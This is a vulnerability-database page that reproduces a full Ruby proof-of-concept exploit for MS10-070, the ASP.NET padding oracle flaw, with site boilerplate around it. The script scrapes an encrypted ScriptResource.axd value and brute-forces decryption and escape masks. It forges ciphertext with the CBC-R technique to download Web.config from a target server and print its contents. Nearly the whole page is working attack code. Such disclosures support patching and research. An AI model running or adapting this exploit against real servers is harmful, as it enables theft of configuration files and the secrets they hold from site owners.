Lucene search
K

MS10-070 ASP.NET Auto-Decryptor File Download Exploit

🗓️ 26 Oct 2010 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 47 Views

MS10-070 ASP.NET Auto-Decryptor File Download Exploi

Code

                                                #!/usr/bin/ruby -w
 
#
#  aspx_ad_chotext_attack.rb
#
#  Copyright (c) 2010 AmpliaSECURITY. All rights reserved
#
#  http://www.ampliasecurity.com
#  Agustin Azubel - [email protected]
#
#
#  MS10-070 ASPX proof of concept
#    Decrypt data using an auto decryptor bundled in the aspx framework
#    Encrypt data using Rizzo-Duong CBC-R technique
#
# Copyright (c) 2010 Amplia Security. All rights reserved.
#
# Unless you have express writen permission from the Copyright
# Holder, any use of or distribution of this software or portions of it,
# including, but not limited to, reimplementations, modifications and derived
# work of it, in either source code or any other form, as well as any other
# software using or referencing it in any way, may NOT be sold for commercial
# gain, must be covered by this very same license, and must retain this
# copyright notice and this license.
# Neither the name of the Copyright Holder nor the names of its contributors
# may be used to endorse or promote products derived from this software
# without specific prior written permission.
#
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
 
 
require 'net/http'
require 'uri'
require 'rexml/document'
 
 
$debugging = false
 
 
 
module XArray
  def hex_inspect
    "[#{length}][ #{map { |x| x.hex_inspect }.join ", " } ]"
  end
end
 
class Array
  include XArray
end
 
 
 
 
require 'base64'
 
class XBase64
  def self.encode s
    s = Base64.encode64 s
    s = s.gsub '+', '-'
    s = s.gsub '/', '_'
    s = s.gsub "\n", ''
    s = s.gsub "\r", ''
 
    s = XBase64.encode_base64_padding s
  end
 
  def self.encode_base64_padding s
    padding_length = 0
    padding_length += 1 while s[-1 - padding_length, 1] == "="
    s[0..(-1 - padding_length)] + padding_length.to_s
  end
 
 
  def self.decode s
    s = s.gsub '-', '+'
    s = s.gsub '_', '/'
 
    s = self.decode_base64_padding s
 
    Base64.decode64 s
  end
 
  def self.decode_base64_padding s
    padding_length = s[-1,1].to_i
    s[0...-1] + ("=" * padding_length)
  end
end
 
 
module XString
  def xor other
    raise RuntimeError, "length mismatch" if self.length != other.length
    (0...length).map { |i| self[i] ^ other[i] }.map { |x| x.chr }.join
  end
  alias ^ :xor
 
  def hex_inspect
    printables = [ "\a", "\b", "\e", "\f", "\n", "\r", "\t", "\v" ] + \
                 (0x20..0x7e).entries
 
    "[#{length}]" + "\"#{unpack("C*").map { |x|
                      printables.include?(x) ? x.chr : "\\x%02x" % x }.join}\""
  end
 
  def to_blocks blocksize
    (0...length/blocksize).map { |i| self[blocksize * i, blocksize]}
  end
end
 
class String
  include XString
end
 
 
 
class ASPXAutoDecryptorChosenCiphertextAttack
  attr_reader :uri
  attr_reader :filename
  attr_reader :min_filelength
  attr_reader :filere
  attr_reader :http
  attr_reader :d_value
  attr_reader :blocksize
  attr_reader :padding_length
  attr_reader :decrypt_command_mask
  attr_reader :axdpath
  attr_reader :axdname
  attr_reader :base_mask
   
  def initialize parameters
    @uri = URI.parse parameters[:uri]
    @filename = parameters[:filename]
    @min_filelength = parameters[:min_filelength]
    @filere = parameters[:filere]
    @http = http_initialize
    @d_value = nil
    @base_mask = rand 0xffff
    @decrypt_command_mask = nil
    @blocksize = nil
    @padding_length = nil
    @axdpath = nil
    @axdname = nil
     
    puts "target: #{@uri}"
    puts "base_mask: 0x%04x" % @base_mask
  end
 
  def http_initialize
    http = Net::HTTP.new @uri.host, @uri.port
    http.start
    http
  end
 
 
  def parse_script_tag xml, re
    d = nil
 
    doc = REXML::Document.new xml
    doc.elements.each 'script' do |e|
      src_attribute = e.attributes['src']
      md = re.match src_attribute
      d = md[1]
      break
    end
 
    raise RuntimeError, "could not parse script_tag" unless d
 
    d
  end 
  private :parse_script_tag
   
  def get_ciphertext_sample
    [ [ "ScriptResource.axd", /\/ScriptResource\.axd\?d=([a-zA-Z0-9\-\_]+)\&t=[a-z0-9]+/ ],
    ].each do |name, re|
 
        headers = { 'User-Agent' => \
            'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' }
 
        response = http.get uri.path, headers
        body = response.body
 
        script_tags = body.lines.select { |x| x.index name }
 
        next if script_tags.empty?
 
        puts "script tags using #{name} [#{script_tags.length}]:"
        puts script_tags.map { |x| "\t#{x}" }
 
        d = parse_script_tag script_tags[0], re
 
        puts "using script: #{name}"
        puts "using d_value: #{d}"
 
        @axdpath = uri.path[0, uri.path.rindex('/')]
        @axdname = name
        @d_value = ("\x00" * 16) + (XBase64.decode d)
        break
    end
 
    raise RuntimeError, "could not find any axd sample" unless d_value
 
    d_value
  end
 
  def parse_html_body h, body
    parsed = String.new
     
    doc = REXML::Document.new body
    doc.elements.each h do |e|
      parsed = e.text
      break
    end
     
    parsed
  end
 
  def send_request d
    request = Net::HTTP::Get.new "/#{axdpath}/#{axdname}?d=#{XBase64.encode d}"
    request['Connection'] = 'Keep-Alive'
    @http.request request
  end
   
  def decrypt d
    ciphertext = d.clone
    ciphertext[0, 2] = [ @decrypt_command_mask ].pack "S"
 
    response = send_request ciphertext
 
    parse_html_body 'html/head/title', response.body
  end
   
  def discover_decrypt_command
    puts "discovering decrypt command..."
 
    ciphertext = d_value.clone
    1.upto 0xffff do |mask|
      ciphertext[0, 2] = [ base_mask + mask ].pack "S"
       
      response = send_request ciphertext
 
      print "\rtrying decrypt_mask: 0x%04x/0xffff, http_code: %4d, body_length: %5d" % \
                                     [ mask,                   response.code,   response.body.length ]
 
      next unless response.code == "200"
 
      begin
        puts parse_html_body 'html/head/title', response.body
        @decrypt_command_mask = base_mask + mask
      rescue Exception => e
        puts e
        puts "exception !"
        next
      end
 
      break
    end
     
    puts
     
    raise RuntimeError, "no more combinations to try !" unless decrypt_command_mask
    puts "decrypted !!!"
     
    decrypt_command_mask
  end
 
 
 
  def discover_blocksize_and_padding_length
    puts "discovering blocksize and padding length..."
 
    [ 16, 8 ].each do |b|
      0.upto b - 1 do |i|
        ciphertext = @d_value.clone
        ciphertext[-(b * 2) + i] ^= 0x01
        begin
          decrypt ciphertext
        rescue Exception => e
          @blocksize = b
          @padding_length = blocksize - i
          break
        end
      end
      break if blocksize
    end
 
    raise RuntimeError, "no more combinations to try !" unless blocksize
 
    puts "discovered padding length: #{padding_length}"
    puts "discovered blocksize: #{blocksize}"
     
    [ blocksize, padding_length]
  end
 
  def reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks
    puts "cipher_blocks.count: #{cipher_blocks.count}"
 
    required_block_count = 1 + new_plaintext_blocks.count + 1
    puts "required_block_count: #{required_block_count}"
     
    if required_block_count < cipher_blocks.count then
      delta = cipher_blocks.count - required_block_count
      puts "removing #{delta} extra blocks..."
      cipher_blocks = [ cipher_blocks[0] ] + cipher_blocks[-required_block_count+1..-1]
    elsif required_block_count > cipher_blocks.count then
      delta = required_block_count - cipher_blocks.count
      puts "adding #{delta} extra_blocks..."
      cipher_blocks = [ cipher_blocks[0], ("\x00" * blocksize) * delta ] + cipher_blocks[1..-1]
    end
 
    puts "cipher_blocks.count: #{cipher_blocks.count}"
 
    cipher_blocks
  end
  private :reallocate_cipher_blocks
 
  def generate_new_plaintext_blocks
    tail_padding = "\x01"
    head_padding_length = blocksize - ( (@filename.length + tail_padding.length) % blocksize)
    head_padding_length = 0 if head_padding_length == blocksize
    head_padding = "\x00" * head_padding_length
    new_plaintext = head_padding + @filename + tail_padding
 
    new_plaintext.to_blocks blocksize
  end
  private :generate_new_plaintext_blocks
 
  def encrypt
    puts "encrypting \"#{@filename.hex_inspect}..."
 
    new_plaintext_blocks = generate_new_plaintext_blocks
 
    cipher_blocks = @d_value.to_blocks blocksize
    cipher_blocks = reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks
 
    (1..new_plaintext_blocks.count).each do |i|
      puts "round #{i} of #{new_plaintext_blocks.count}"
       
      new_plaintext_block = new_plaintext_blocks[-i]
 
      old_cleartext = decrypt cipher_blocks.join
      old_plaintext = old_cleartext + (padding_length.chr * padding_length)
      puts "old_plaintext: #{old_plaintext.hex_inspect}"
 
      old_plaintext_blocks = old_plaintext[blocksize * (-i - 1)..-1].to_blocks blocksize
 
      old_plaintext_block = old_plaintext_blocks[-i]
 
      normalization_table = old_plaintext_block.bytes.map { |x| x >= 0x80 or x == 0x0a }
      if normalization_table.include? true
        j = blocksize - (normalization_table.rindex true)
        cipher_blocks[-1 - i][-j] ^= old_plaintext_block[-j]
        puts "normalization needed for \"\\x%x\", j: %d !" % [ old_plaintext_block[-j], -j]
        redo
      end
 
      cipher_blocks[-1 - i] ^= old_plaintext_block ^ new_plaintext_block
 
      @padding_length = 1 if i == 1
    end
 
    cleartext = decrypt cipher_blocks.join
    puts "new cleartext: #{cleartext.hex_inspect}"
     
#    raise RuntimeError, "too many \"|\" characters!" if cleartext.count("|") > 3
 
    @d_value = cipher_blocks.join
  end
 
  def discover_escape_sequence
    puts "discovering escape sequence..."
 
    escape_sequence_mask = nil
 
    offset = base_mask % (blocksize - 4)
 
    ciphertext = d_value.clone
    0x1ffff.times do |mask|
      ciphertext[offset, 4] = [ base_mask + mask ].pack "L"
 
      response = send_request ciphertext
      print "\rtrying escape_mask: 0x%04x/0x1ffff, http_code: %4d, body_length: %5d" % \
                                 [   mask,                   response.code,    response.body.length ]
 
      next unless response.code == "200"
       
      next if min_filelength and (response.body.length < min_filelength)
 
      next if filere and (not filere =~ response.body)
       
      escape_sequence_mask = base_mask + mask
 
      puts
      puts "found!"
 
      unless $debugging
        puts "press any key to show the contents of the file"
        $stdin.gets
      end
       
      puts response.body
      break
    end
    puts
 
    raise RuntimeError, "no more combinations to try !" unless escape_sequence_mask
 
    escape_sequence_mask
  end
 
  def pause
    return if $debugging
    puts
    puts "press any key to start the attack"
    $stdin.gets
  end
 
  def run
    get_ciphertext_sample
    pause
    discover_decrypt_command
    discover_blocksize_and_padding_length
    encrypt
    discover_escape_sequence
  end
end
 
 
 
puts [ "-------------------------------------------",
       "aspx_ad_chotext_attack.rb",
       "(c) 2010 AmpliaSECURITY",
       "http://www.ampliasecurity.com",
       "Agustin Azubel - [email protected]",
       "-------------------------------------------",
       "\n" ].join "\n"
 
 
 
if ARGV.length != 1 then
  $stderr.puts "usage: ruby #{$PROGRAM_NAME} http://192.168.1.1/Default.aspx"
  exit
end
 
begin
  parameters = {
    :uri => ARGV.first,
    :filename => "|||~/Web.config",
#    :min_filelength => 3000,
    :filere => /configuration/
  }
 
  x = ASPXAutoDecryptorChosenCiphertextAttack.new parameters
  x.run
rescue Exception => e
  $stderr.puts "Exploit failed: #{e}"
   
  raise if $debugging
end
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Oct 2010 00:00Current
7.1High risk
Vulners AI Score7.1
47